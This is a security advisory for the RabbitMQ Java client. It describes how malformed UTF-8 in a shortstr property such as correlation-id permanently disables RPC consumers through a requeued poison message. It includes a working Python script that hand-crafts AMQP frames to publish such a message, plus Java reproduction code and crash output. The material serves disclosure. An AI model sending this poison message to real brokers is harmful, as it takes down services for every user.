com.rabbitmq:amqp-client: RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers

Summary

A single AMQP message with malformed UTF-8 in a shortstr property (for example correlation-id) can permanently disable a Java client RPC consumer.

The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked IllegalArgumentException. That kills the consumer loop or tears down the channel.

The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.

In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone.

Details

ValueReader.readShortstr decodes with new String(b, StandardCharsets.UTF_8), which silently substitutes U+FFFD for malformed input:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75

ValueWriter.writeShortstr then rejects the result with an unchecked exception:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56

So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (correlation-id, reply-to used as a routing key, message-id, type, app-id) is affected.

Two consumption paths are impacted:

1. **RpcServer.mainloop()** catches only InterruptedException and ShutdownSignalException, so the exception escapes and the loop thread dies silently:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129

1. The pattern in the official tutorial (basicConsume + DeliverCallback, echoing correlationId and publishing to replyTo) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.

In both cases autoAck is false and the ack is never reached, so the message returns to the queue.

A related instance exists in the library's own recovery path: RecordedConsumer.recover() re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.

PoC

Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode str as well-formed UTF-8, which does not expand. The frames must be written by hand. A triager who tries with a stock client will not reproduce it.

1. Start a broker:

docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq

1. Publish a message whose correlation-id is 255 × 0xFF:

import socket, struct

def sstr(b):
    if isinstance(b, str): b = b.encode()
    return struct.pack(">B", len(b)) + b
def lstr(b): return struct.pack(">I", len(b)) + b
def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce"
def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a

QUEUE = "rpc.poison"
s = socket.create_connection(("127.0.0.1", 5672), timeout=10)

def rf():
    h = b""
    while len(h) < 7: h += s.recv(7 - len(h))
    t, ch, sz = struct.unpack(">BHI", h)
    p = b""
    while len(p) < sz: p += s.recv(sz - len(p))
    s.recv(1); return t, ch, p
def wait(c, mi):
    while True:
        t, ch, p = rf()
        if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:]

s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10)
s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN")
    + lstr(b"\x00guest\x00guest") + sstr("en_US"))))
cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8])   # must echo broker's limits
s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0))))
s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41)
s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11)
s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02"
    + struct.pack(">I", 0)))); wait(50, 11)

s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00")))
props = sstr(b"\xff" * 255) + sstr("some-reply-queue")   # correlation-id = bit 10, reply-to = bit 9
s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props))
s.sendall(fr(3, 1, b"poison"))

# close cleanly, otherwise the broker may not commit the publish
s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0))))
wait(10, 51); s.close()
print("published to", QUEUE)

1. Run a consumer using the tutorial pattern against rpc.poison:

DeliverCallback cb = (tag, delivery) -> {
    AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder()
        .correlationId(delivery.getProperties().getCorrelationId()).build();
    channel.basicPublish("", delivery.getProperties().getReplyTo(), reply, "pong".getBytes("UTF-8"));
    channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);
};
channel.basicConsume("rpc.poison", false, cb, t -> {});

Observed:

java.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255.
  at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...)
  at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753)
channel open after: false
queue depth after: 1

The same message run against RpcServer.mainloop() kills the loop thread instead, and re-kills it on every restart.

Control: 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.

Negative results, for completeness: automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.

Impact

Denial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.